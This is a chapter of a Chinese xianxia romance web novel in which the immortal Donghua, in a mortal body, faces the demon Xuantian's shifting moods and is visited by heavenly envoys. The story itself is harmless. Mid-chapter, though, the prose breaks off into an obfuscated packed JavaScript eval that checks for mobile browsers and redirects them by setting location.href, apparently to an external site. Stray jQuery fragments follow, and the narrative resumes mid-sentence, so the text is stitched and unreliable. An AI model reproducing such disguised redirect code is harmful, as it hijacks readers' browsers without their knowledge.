8. 何夕(七)

作品:《师兄,请下凡

    东华脑子里空白一片,这两天由于焦心劳思,一直未能好好休息,加之夜间在玄天的结魄术幻境中,又耗费许多精力。致使玄天撤了法术,他便呼呼大睡,玄天如何与他摆成这样的姿态,他是一无所知。


    东华心惊胆战的回想着,一边已经在床前两人的注视下,极快的整理好衣物,在床上绕过玄天,急寻了鞋穿好,扶额站定。


    玄天方才悠悠醒转,眸色清明,精神焕发,这一觉应该是睡得十分踏实。他极柔和的询问东华:“道长昨晚可安睡?”语声带了未消散的睡意,显得低哑魅惑。


    东华依旧扶额,顾不上回他。


    东华受众仙推崇也是有一定道理的,除却仙术学识修为,还有那一副绝佳相貌和出尘气韵。他虽然不似二师叔玉清那般一丝不苟。但玉清真人对他颇为上心,每每见面,均有管教。熏陶之下,东华自幼行正坐端,举手投足无懈可击,连脖颈都在衣领下藏得严实。


    可是玄天却给了他一个大大的难堪,光天化日之下,他的领口大开,低至前胸。且还有一男一女两个凡人在场,如此不堪的一幕让东华无地自容。


    但东华大神有一个优点,他很懂得自我调剂,思绪翻动间很快给自己找到了托词:一副凡体而已,日后本上仙回归本位,这就是个空壳,看了便看了。罢罢罢,本就是做戏,只管继续往下演。只玄天这般行为是为何……我自问问心无愧,且整顿心神,看他后续。


    玄天见东华不理他,嘴边露出几点微不可察的窃笑,转而拥着被衾坐起,对着床前二人问:“二位清早来访,有何贵干?”


    小梅窘迫的站在一边,钟离玄早就忍不住了,错开身子,露出门外大亮的天光:“辰时已过,杨老爷因不见你们传饭,便问这丫鬟,岂料她说你们还睡着没起,杨老爷恐有闪失便让她来候着。”


    玄天眉梢挑起:“这就是……候着?”


    钟离玄道:“你二人形迹可疑,说好的今夜做道场,我怕你们昨晚连夜逃走,因此前来查看。”


    玄天笑了一声道:“即是如此,都尉大人对查看的结果可还满意?”


    钟离玄冷哼一声,算是回答。他见玄天和东华行为略有不端,便心生嫌恶,在确认二人没有可疑行径之后,便匆匆离去了。


    小梅慌忙将门口的一同热水并茶饭放入房内,说了声:“二位请便。”逃也似的出了门,还十分有心的从外面将门掩好。


    玄天将自己裹在被子里,定定的凝视着东华,不吭声了。


    东华只看了他一眼便移走目光,自顾自的去桶里舀热水梳洗,并不理会他。


    片刻之后,玄天也穿好衣物,下床径自来到东华面前,东华正在擦拭面上的水,拿下绢布便发现面前多了一张脸。


    东华不由自主要往后退,玄天却一手揪住他的衣袖,将他扯进怀中,随后一只手攀上了他的后背。东华心中起了些微妙的情绪,几乎忘了此刻身份,想要习惯性的伸出手放在玄天背上。


    他虽不喜与人过度亲密,但与玄天则是不同,他两个自小一处长大,多的是连肩搭背,虽然后来分开许多年,又各自走上云泥异路。但玄天的触碰,他从未回避过,反倒是他当年经常对玄天摸头抚背,以示兄长关怀。


    正在浮想联翩,玄天另一只手抚在东华脸颊,拇指轻轻摩挲着东华的嘴唇。


    与玄天薄而浅淡的唇不同,东华的唇角天然略微上翘,唇色略红,形状柔和,导致他即便是不笑,也使人平添亲近之感。


    “玄公子,你这是?”


    无论在昨晚的梦境中,还是此刻,他都觉得玄天哪里不对劲,但他又挑不出纰漏来。


    玄天不答,只缓缓凑过去,贴在他耳边,轻轻的吐出四个字:“我不恨你。”


    东华摸不着头脑:“恨?贫道听的不太明白?”


    玄天眸色骤冷,他眯起眼睛,恨恨的盯着东华。方才宽宏大量的四个字,仿佛成了浮云。


    东华更摸不着头脑了:这人怎的变脸比翻书还快?我是真的不明白,不耻下问难道也是错么?东华觉得自己虽然迷茫,但也不能露怯,于是强装淡定的道:“愿求赐教。”


    岂料刚说完,放在他下巴的那只手倏然收紧,疼痛随之而来。他闷哼一声,拧起眉心。


    玄天才觉察到自己用力过猛,忙撒开手,东华的白皙的下巴上已留下一小片红痕。东华本能的揉着下巴,仍是满脸疑惑。


    玄天垂下眼睑,终是什么也没说,嘴上念了一个咒,便在原地消失了。


    东华揉弄下巴的动作,瞬间滞住了。


    他已经不屑于在我面前演戏了么?等等,难不成……我已经暴露了?


    这样的玄天,对他来说极为陌生。玄天从未对他黑过脸,今日不仅黑了,甚至还动了手。


    深深的恐惧绕在东华的心头,若说之前他还信任玄天。那么适间玄天的喜怒无常,则摧毁了这一信任。他怀疑入了魔道的玄天,已经变了心性。


    他不想坐以待毙,但又束手无策。


    在屋里来回踱了半晌,不觉腹中饥饿,东华平了平心绪,坐下来吃东西。粥是鱼片粥,包子是白菜鸡蛋做馅儿,放了香油,本应清淡可口。但吃在嘴里,却是味同嚼蜡。


    忽然房里两道光芒闪过,再抬眼,面前多了两个身影,对着东华纳头便拜:


    “参见君上。”“参见仙长。”


    东华险些被噎着,又不好失了仪态,忙捱着端起茶水喝一口往下顺了顺。方才平复了气息,侧目道:“怎的了?”


    这二人中,称呼东华“君上”的那个是东华仙府里的下臣,青阳使者。另一个称呼“仙长”的就是东华所认为的,他悲剧命格的酿造者,司命星君。


    司命星君察言观色,看东华脸色淡淡的,发问时又只盯着他,心里咯噔一声,慌忙满脸堆起笑容:“东华仙长,在下边这些日子过得可好?”


    东华默然片刻,道:“好不好,星君不是在上面看着的么。”


    司命星君咽了咽口水,站在一边赔笑。


    青阳躬身道:“君上,属下和司命星君远远的候着玄天出去,方敢现身,不知他可有冒犯君上。”


    东华摇头道:“不打紧,你们又不是他对手,小心为上。”


    青阳道:“待属下回去,便奏明天帝,派兵围剿。”


    东华按了按额角,青阳此人除了公事,还是公事。不过也因此,他是他最得力的下臣之一。


    “不急,先说说,你们此来意欲何为?”


    青阳道:“我看白藏有些不大对,追问之下,方才得知他与司命星君对弈,两个兴头上多饮了几杯琼浆,醒来以后,发现君上的命盘似乎出了纰漏。”说着看了司命星君一眼,后者立时站得笔直。


    东华问:“什么纰漏。”


    司命星君嘿嘿笑道:“就是……就是仙长这副凡体已经意外的死于非命。”


    东华叹道:“高烧而死。”


    司命星君道:“一半是一半不是,是仙长元神复苏,致使凡体心血沸腾而死。”


    东华奇道:“不是在死后才元神复苏的?竟是……怎会如此。”


    青阳道:“属下来到这方地界时,询问了几个土地,原来玄天在此处已停留几日。想是君上对他太过怨怼,神识有所感应,一时澎湃,故而复苏。”


    东华心道,我当真是有那么怨怼么?我当真是有那么澎湃么?


    青阳见东华只伸出一只手指叩着桌面,似在沉吟。便又道:“君上与玄天朝夕相对,凶险非常,但属下又不好长留凡界,与朱明商议之后,逾矩为君上把它带来,可时时保护君上。”


    东华看时,青阳手里多了一枚指环,上嵌赤色琉璃,眼睛亮了亮:“赤璃。”便接过来,略带宠溺的擦拭了一下。


    戒指红光一闪,赤色琉璃倏尔不见,化作凤凰形状的影子慢慢结成人形,变成了一个红袍少年模样,亲昵的偎在东华膝边:“君上。”


    东华捏捏他的脸,转而对青阳道:“你做的很好,眼下,我身边确实也需要人手。”


    司命星君绞着手指道:“仙长…若是仙长现在不愿意回天界,小仙便将仙长的命盘依原样摆放,仙长可高枕无忧安度这一世。”


    东华抬眼看着他道:“若是我还未过完这一世,便想回去了呢?”


    司命星君道:“那个更好办,只要仙长死于非命,自杀他杀皆可,小仙亲自接引仙长回天。”


    东华无言的点点头,又嘱咐青阳:“我正受贬仙之罚,本不该插手公事。但你此回天界,万不可追究白藏和司命星君之责,此乃意外防不胜防。”


    东华手下共有四位使者,起先只有青阳和朱明两位。白藏和玄英本是玄天的下臣,自玄天叛逃后,便归到东华手下,算来时间不长,但东华不想与他们为难。见了旧人,总会错觉旧的岁月,仍在身边。


    司命星君感激涕零道:“谢仙长!”


    青阳迟疑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952999|193085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道:“那玄天……”


    东华抬手让赤璃回到指环上,淡淡道:“你自己决定吧,是否要禀报百忍,百忍是否发兵围剿,我都无权干涉。”


    青阳点头:“属下只是怕玄天伤害君上,天帝也不会坐视不管。”


    东华道:“他暂没有害我,也没有害别人。只是有一件事我不甚明白。”看到青阳投来问询的眼神,接着道:“他对我说,他不恨我。”


    青阳默然无言,司命星君“咦”了一声。


    东华看他两个似乎也不清楚,便不作追问:“青阳,若无他事,你先回天界吧。司命星君。”


    司命星君心里一惊:“在。”


    东华露出了久惯的和善笑容:“前五世的命盘,我有所存疑,你来细讲讲吧。”


    钟离允在院子里转悠许久,这一日颇受冷遇。贸贸然闯进别人家里监视,自然得不到好脸色,虽多少有些理解,然而心里还是不舒服,整日黑着一张脸。


    他一手按在佩剑上,以杨少彦的房舍为中心,绕着院墙转,待经过东华的窗下时,忽听得里面透出说话声。


    屏息听时,粗略有“命盘”,“仙逝”,“前世今生”几个词。


    其中一个声音是少阳道士的,另一个却不是这几日和少阳道士混在一起的玄二。


    钟离允眉头一皱,这妖道,又在诓骗无辜世人。


    匆匆绕到前门,门虚掩着,他便将手一推。


    东华正和命格星君说至尾声,未提防来了一个凡人。命格星君的仙体暴露在钟离玄眼皮底下,所幸今日下了朝他便换了便服,只是披了一件浅青色大氅,观来有几分仙风。


    他还浑然味觉的,犹自在说最后一句:“至于第六世一顺到底,原本的命盘就是如此。”言毕,随意的看了一下门口,顿时与钟离允大眼瞪小眼。


    东华慌忙站起来:“钟离大人,有事么?”青阳和司命星君定是怕惊动玄天,故而没有使仙法布结界,钟离允多半是听闻语声赶来查看。


    钟离允打量着命格星君,满脸疑云:“他是谁?”


    东华轻咳了一声:“这位天士,是来给贫道算命的。”


    钟离允不信,冷笑道;“你自己都是道士,还让别人给你算命?”


    东华道:“贫道是斩妖除魔的道士,不修卜卦问命。”


    钟离允直盯着命格星君,面色不善:“那他就是专门算命唬人的道士了?”


    司命星君自是不怕钟离允这一介凡人,但东华仙长却忌惮此人,他又忌惮东华,便应承道:“正是。”


    钟离允一拂袖,在东华对面落座:“我平生最恨损人利己算命行骗的江湖术士,来,你给本官算一算,若是有虚妄之言,你就等着进天牢吧。”


    东华看了气定神闲的命格星君,心中暗自好笑,命格星君来算命?你可当真找对了人,根本不用算,他拿着花名册查了命盘直接就能跟报菜名似的念下来。


    钟离玄的想法和东华却是大相径庭:“不要你算未知的事来糊弄我,你给本官算算过往之事。”


    司命星君取出命盘,转的飞快,上面蝇头小字密密麻麻的显现出来,凡人却看不见。


    “这位大人今年二十有五,十八岁时曾有婚配,却中途变故,然从此官运通达。”


    钟离允脸白了白:“被你蒙对了。”


    命格星君道:“蒙?呵呵,这位大人,小的还知道你的未婚妻子撕毁婚约之后飞上枝头,如今贵不可言。你这一生的官运恐都与她……”


    钟离允打断他:“够了。”顿了顿,忽然道,“你给我说一件即将发生的事,看应不应验。”


    预测未来便是泄露天机。司命星君惴惴的看向东华,东华点头道:“一件可以,我不会说出去的。”


    司命星君这才将命盘拨了拨,然后高深莫测的对钟离允道:“你想见的人,下个月中旬会主动来找你。”


    钟离允眼神矍铄:“若果真应验,我便备下厚礼,登门道谢,敢问你是哪里的天士?在何处隐居?”


    司命星君含糊道:“我隐居之地在京城那个……”


    东华暗道你说什么不好,非要说京城,本上仙对那里着实不熟悉。忙搜寻脑子里唯一记得的地名拼凑起来:“天士住在京城章台街最北头的柳树下。”


    司命星君点头不迭,附和道:“不错不错不错,我就是在章台街隐居的。”


    东华极自然的端着笑,坦然应对钟离玄投来的古怪目光。